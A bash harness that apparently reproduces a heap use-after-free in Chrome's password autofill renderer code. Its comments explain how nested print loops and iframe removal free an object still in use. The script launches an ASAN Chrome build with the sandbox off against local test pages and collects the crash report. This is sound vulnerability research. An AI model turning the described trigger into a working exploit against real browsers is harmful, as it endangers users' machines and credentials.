#!/bin/bash
# Run the PasswordAutofillAgent::DoFillField UAF POC.
#
# Prerequisites:
#   - Chrome ASAN build with chromium-changes.patch applied (browser-side
#     injection that simulates the user accepting a password suggestion by
#     sending mojom::PasswordAutofillAgent::FillField to the renderer).
#   - An X display (set $DISPLAY).
#
# What happens:
#   1. a.test/parent.html embeds two cross-site b.test iframes (B = password
#      form, C = print target). a.test and b.test are different sites under
#      site isolation, so B/C share a renderer that is separate from A's.
#   2. Browser sends FillField to B's PasswordAutofillAgent (simulated click).
#   3. B's renderer: DoFillField -> SetAutofillValue -> fires `input` -> JS
#      handler postMessages A and calls parent[1].print() (on sibling C),
#      spinning a kNestableTasksAllowed nested loop.
#   4. A removes B -> Frame::Delete arrives in the nested loop ->
#      AutofillAgent::OnDestruct -> DeleteSoon runs in the loop ->
#      ~PasswordAutofillAgent(B) frees the on-stack object.
#   5. A removes C -> ~PrintRenderFrameHelper(C) quits the loop.
#   6. Unwind to DoFillField line 1048 -> ASAN heap-use-after-free.
set -e

DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE=/tmp/chrome-poc-profile
LOG="$DIR/chrome.log"

rm -rf "$PROFILE"
# Kill any old server holding :8080 (match python interpreter, not our own argv).
fuser -k 8080/tcp 2>/dev/null || true
sleep 0.5

cd "$DIR"
python3 server.py >server.log 2>&1 &
SERVER=$!
trap 'kill $SERVER 2>/dev/null || true' EXIT
sleep 1

ASAN_OPTIONS="detect_odr_violation=0:symbolize=1:handle_abort=1" \
ASAN_SYMBOLIZER_PATH="/chromium/chromium/src/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer" \
timeout 30 "$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check \
  --disable-gpu --ignore-gpu-blocklist \
  --user-data-dir="$PROFILE" \
  --host-resolver-rules='MAP *.test 127.0.0.1' \
  --enable-logging=stderr --v=0 \
  "http://a.test:8080/parent.html" \
  >"$LOG" 2>&1 || true

echo "=== POC markers ==="
grep -E 'POC\[' "$LOG" || true
echo
echo "=== ASAN report ==="
grep -A150 'ERROR: AddressSanitizer' "$LOG" || echo "(no ASAN report)"